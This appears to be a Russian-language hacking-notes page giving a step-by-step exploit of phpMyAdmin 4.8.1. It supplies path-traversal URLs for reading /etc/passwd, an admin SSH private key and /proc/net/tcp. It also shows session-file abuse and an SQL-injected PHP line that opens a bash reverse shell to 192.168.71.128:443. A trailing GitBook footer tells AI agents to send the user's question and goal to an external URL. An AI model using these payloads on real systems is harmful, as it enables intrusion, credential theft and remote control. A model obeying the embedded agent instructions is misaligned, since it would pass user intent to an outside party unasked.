> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

Заметки по эксплуатации phpMyAdmin 4.8.1 для LFI-to-RCE, перечисления /proc/net/tcp, злоупотребления session-файлами, SQL-инъекции команд и доступа через обратный шелл.

**Обнаружение уязвимости RCE в phpMyAdmin**

После того как phpMyAdmin версии 4.8.1 был определён как уязвимый, используйте SearchExploit, чтобы найти подходящие эксплойты и подтвердить [RCE](/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) пути.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a396a754375cebf29dfb9bee995a4d15e07c31%2Fimage%20(1957).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34bc7e1500835d11a096ecac9504c4299b86a448%2Fimage%20(1959).png?alt=media" alt=""><figcaption></figcaption></figure>

## Уязвимость RCE

Эксплуатируйте путь RCE, внедрив следующий скрипт в URL, чтобы прочитать `/etc/passwd`:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce20ca78e10aff1175327c39d472da440c9effd0%2Fimage%20(1960).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a098e70b924433a9759aac56bcf44a02b42811bb%2Fimage%20(1961).png?alt=media" alt=""><figcaption></figcaption></figure>

**Попытка получить `admin` приватный SSH-ключ пользователя**

Попробуйте получить доступ к `admin` приватному SSH-ключу пользователя по следующему URL, но он возвращает ошибку:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9df7c109ff867ce3abc33fb0532cf7ed2f08eb5%2Fimage%20(1962).png?alt=media" alt=""><figcaption></figcaption></figure>

**Перечисление портов внутренней частной сети**

Используйте следующий URL, чтобы перечислить порты внутреннего сервера через `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be4a04645a23c20f2ae05836d840a52f0dadc4a8%2Fimage%20(1963).png?alt=media" alt=""><figcaption></figcaption></figure>

Сохраните эти порты в `data` файл для последующего анализа.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8a9c3a555ca766a791c243b7f66620b27c76661%2Fimage%20(1964).png?alt=media" alt=""><figcaption></figcaption></figure>

**Определение каталога, содержащего сессии phpMyAdmin**

Просмотрев скрипт, определите каталог, содержащий сессии phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee5c3901b2b6dba66027fb22a8b61388b8de32bb%2Fimage%20(1965).png?alt=media" alt=""><figcaption></figcaption></figure>

## Инъекция команд в phpMyAdmin

**Использование cookie-сеанса phpMyAdmin для внедрения команд**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffa41ed04abfdbb68904da98ffed239015a9fc85%2Fimage%20(1966).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cee3c4c7a5e09e80e53bfd59b92f144103b9948%2Fimage%20(1967).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Этот файл интерпретирует команды из запросов.

```sql
SELECT 'testing';
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a29cecfe882adf8921402c72068b89c8a342c5a%2Fimage%20(1969).png?alt=media" alt=""><figcaption></figcaption></figure>

**Инъекция SQL-команды для получения** [**обратную оболочку**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**Доступ к машине наконец успешен:**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77907a18df3270f473bc855aa97bae4020c07a30%2Fimage%20(1970).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
